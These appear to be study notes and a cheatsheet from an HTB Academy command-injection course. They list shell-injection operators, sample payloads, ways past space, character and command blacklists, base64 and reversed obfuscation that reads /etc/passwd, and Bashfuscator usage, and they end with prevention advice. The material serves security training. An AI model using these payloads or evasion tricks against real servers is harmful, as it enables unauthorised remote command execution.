Command Injections — Operators, Filter Bypass and Obfuscation (HTB CWES)
Built from the Command Injections module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every operator, bypass and tool kept, condensed. Labs and lessons are on HTB Academy.
Command injection runs OS commands on the back-end server — straight to RCE and often the whole network. It happens when user input reaches a system-command function without sanitization. It's OWASP's #3 (Injection).
1. Where it lives
Functions that shell out, fed unsanitized input:
- PHP:
exec,system,shell_exec,passthru,popen - Node.js:
child_process.exec,child_process.spawn - (every language has equivalents)
system("touch /tmp/" . $_GET['filename'] . ".pdf"); // inject via filename
2. Injection operators
Append your command to the intended one. These work regardless of language/framework/OS:
| Operator | Char | URL-enc | Runs |
|---|---|---|---|
| Semicolon | ; |
%3b |
both (not Windows CMD; OK in PowerShell) |
| Newline | \n |
%0a |
both (rarely blacklisted) |
| Background | & |
%26 |
both |
| Pipe | \| |
%7c |
both (shows 2nd output) |
| AND | && |
%26%26 |
2nd only if 1st succeeds |
| OR | \|\| |
%7c%7c |
2nd only if 1st fails |
| Sub-shell | ` /$()` |
%60 / %24%28%29 |
both (Linux only) |
Payload = <expected input><operator><your command>, e.g. 127.0.0.1; whoami. Use || whoami (no IP) to run yours when the first command fails — a clean single-output result.
3. Detection and front-end vs back-end
Inject an operator; if the output changes, you've got it. If the form rejects you but no new request appears in DevTools (Ctrl+Shift+E → Network), the validation is front-end only — bypass it by sending the request straight to the back-end:
- Intercept in Burp/ZAP, send to Repeater (
Ctrl+R), paste your payload, URL-encode it (Ctrl+Uin Burp), send.
4. Identifying the filter
If the back-end rejects you (invalid input in the output field = app filter; a separate page with your IP = WAF), find what is blocked by reducing the payload one character at a time: add just ;, then just a space, then the command — see which trips it.
5. Bypassing blacklisted spaces
\n (%0a) is usually allowed as the operator. For the space:
127.0.0.1%0a%09 # tab (%09) instead of space
127.0.0.1%0a${IFS} # $IFS defaults to space/tab
127.0.0.1%0a{ls,-la} # brace expansion adds spaces between args
6. Bypassing blacklisted characters (/, ;, …)
Build the character from an environment variable substring — no literal needed:
${PATH:0:1} # "/" (start 0, length 1 of /usr/local/bin:…)
${LS_COLORS:10:1} # ";" (printenv to hunt for a var containing the char you need)
Windows: %HOMEPATH:~6,-11% → \ (CMD); $env:HOMEPATH[0] → \ (PowerShell). Character shifting (Linux): find the ASCII char before your target (man ascii) and shift it:
echo $(tr '!-}' '"-~'<<<[) # "[" (91) → "\" (92)
7. Bypassing blacklisted commands
Break up the command word so an exact-match blacklist misses it (output is unchanged):
w'h'o'am'i # quotes — same type, even number (Linux & Windows)
w"h"o"am"i
who$@ami # $@ (Linux, any count)
w\ho\am\i # backslash (Linux, any count)
who^ami # caret ^ (Windows CMD)
Advanced obfuscation (for WAFs):
# case manipulation (Linux is case-sensitive → fold it)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") # or $(a="WhOaMi";printf %s "${a,,}")
# reversed command
echo 'whoami' | rev → imaohw ; $(rev<<<'imaohw')
# base64-encoded (great when the payload has filtered chars; <<< avoids the pipe)
echo -n 'cat /etc/passwd | grep 33' | base64
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
PowerShell equivalents: reverse "whoami"[-1..-20] -join '' then iex "$(...)"; base64 [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('whoami')) → iex "$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('...')))" (on Linux, iconv -f utf-8 -t utf-16le | base64). Remember: never include a filtered character (e.g. replace spaces with %09) or the bypass "fails" for the wrong reason.
8. Evasion tools
- Bashfuscator (Linux) —
./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1(tune size/type/layers; default can emit a million chars). Test withbash -c '...'. - Invoke-DOSfuscation (Windows) — interactive:
SET COMMAND …,encoding, pick an option. Runs on Linux viapwsh.
9. Prevention
- Avoid shelling out — use a native function (
fsockopento ping-check in PHP) instead ofsystem(). - Validate —
filter_var($ip, FILTER_VALIDATE_IP),preg_match, Nodeis-ip; front and back end. - Sanitize — strip everything unexpected:
preg_replace('/[^A-Za-z0-9.]/', '', $ip).escapeshellcmd/escapeshellargexist but are bypassable — don't rely on them. - Harden —
mod_security/WAF, run aswww-data(PoLP), PHPdisable_functions=system,…andopen_basedir, reject double-encoded/non-ASCII URLs.
10. What to carry into the CWES exam
- Try
;,\n(%0a),&&,||in a proxied request (URL-encoded) — and watch DevTools to confirm front-end-only validation you can skip. - Diagnose the filter by halving the payload — know whether it's the operator, the space, or the command that's blocked, then apply the matching bypass.
- Keep a space replacement ready (
%09/${IFS}/{cmd,arg}) and a char-builder (${PATH:0:1}for/) — most "working" techniques fail only because a space slipped in. - Escalate obfuscation as needed: quotes →
$@/\→ case/reverse → base64bash<<<$(base64 -d<<<…)→ Bashfuscator. The skills-assessment file manager is filtered — chain these.
Cheatsheet — Command Injection
Operators (URL-encode in the request)
; %3b \n %0a & %26 | %7c
&& %26%26 || %7c%7c `` %60 $() %24%28%29 (sub-shell: Linux only)
payload: 127.0.0.1; whoami | || whoami (run only yours)
Space bypass
%09 # tab
${IFS} # space/tab env var
{ls,-la} # brace expansion
Character bypass
${PATH:0:1} # /
${LS_COLORS:10:1} # ; (printenv to find chars)
echo $(tr '!-}' '"-~'<<<[) # \ (shift)
# Windows: %HOMEPATH:~6,-11% $env:HOMEPATH[0]
Command bypass
w'h'o'am'i w"h"o"am"i who$@ami w\ho\am\i who^ami(win)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") # case
$(rev<<<'imaohw') # reverse
bash<<<$(base64 -d<<<BASE64) # encoded (<<< avoids | )
Tools
./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
Invoke-DOSfuscation # Windows (or pwsh on Linux)
Vulnerable funcs — PHP system/exec/shell_exec/passthru/popen · Node child_process.exec/spawn
Prevent — native fn · filter_var FILTER_VALIDATE_IP · preg_replace '/[^A-Za-z0-9.]/' · disable_functions · www-data
Built from HTB Academy's Command Injections module — labs, lessons and the CWES exam are on HTB Academy.